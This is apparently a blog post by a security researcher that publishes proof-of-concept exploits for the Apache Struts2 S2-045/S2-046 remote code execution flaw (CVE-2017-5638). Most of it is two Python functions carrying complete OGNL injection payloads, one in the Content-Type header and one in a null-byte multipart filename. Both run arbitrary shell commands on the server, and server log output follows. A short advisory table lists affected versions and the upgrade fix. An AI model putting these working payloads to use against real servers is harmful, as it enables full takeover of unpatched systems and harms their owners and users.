I haved finished and developped a new exploit poc several days ago, it’s true I didn’t plan to publish this Exploit for S2-046, but I found someone has uncover the veil, so let it go.
https://github.com/WalterJia/Exploits_Sets
Struts2 S2-045 exploit has been spread in the wild, attacker can exploit it to assault the victim with remote command execution and get the fully controlled privilege of victim.
In this paper, we will introduce a new exploit code not found in the wild, and show how the attacker assault the target, what kind of command being used, what kind of malware spread and so on.
Question | Answer | other |
---|---|---|
Who should read this | all Struts 2 developers, users, security researcher | |
Impact of vulnerability | RCE when access any action backend based on Jakarta Multipart parser | |
Maximum security rating | Critical | |
Recommendation | Upgrade to Struts 2.3.32 or Struts 2.5.10.1 | |
Affected Software | Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 | |
CVE Identifier | CVE-2017-5638 |
Exploit
These two exploits below can be used to assault the target with Struts2 vulnerability, the first one is being used and widespread in the wild, the second one is not found yet.
1. Exploit snippet with content-type in the wild
def exploit(url, cmd):
payload = " Content-Type: %{(#_='multipart/form-data')."
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
Invalid file name exception will lead that Jakarta handles exception and executes the Ognl.
2017-03-14 21:37:21,249 WARN [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}
def exploit(url, cmd):
body = "------WebKitFormBoundaryTb12KjLWSQu5ZIP6\r\n" + \
'Content-Disposition: form-data; name="upload"; filename="xxxxxxx\x00%{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'mkdir -p /var/xxx\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"\r\n' + \
"Content-Type: application/octet-stream\r\n\r\n" + \
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\n" + \
"------WebKitFormBoundaryTb12KjLWSQu5ZIP6--\r\n"
…………………………………
3.Expoit result
After execute the exploit we can see there is directory “xxx” created on the victim, please refer to the picture below.
https://cwiki.apache.org/confluence/display/WW/S2-045
https://github.com/rapid7/metasploit-framework/issues/8064
Apache Log for vulnerability
2017-03-14 21:37:21,249 WARN [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}
at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]
at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:804) [struts2-core-2.5.10.jar:2.5.10]
at org.apache.struts2.dispatcher.PrepareOperations.wrapRequest(PrepareOperations.java:148) [struts2-core-2.5.10.jar:2.5.10]
at org.apache.struts2.dispatcher.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:91) [struts2-core-2.5.10.jar:2.5.10]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) [catalina.jar:7.0.65]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) [catalina.jar:7.0.65]
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) [catalina.jar:7.0.65]
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122) [catalina.jar:7.0.65]
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505) [catalina.jar:7.0.65]
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:170) [catalina.jar:7.0.65]
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) [catalina.jar:7.0.65]
at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956) [catalina.jar:7.0.65]
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) [catalina.jar:7.0.65]
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:423) [catalina.jar:7.0.65]
at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1079) [tomcat-coyote.jar:7.0.65]
at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625) [tomcat-coyote.jar:7.0.65]
at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316) [tomcat-coyote.jar:7.0.65]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [?:1.7.0_75]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [?:1.7.0_75]
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-coyote.jar:7.0.65]
at java.lang.Thread.run(Thread.java:745) [?:1.7.0_75]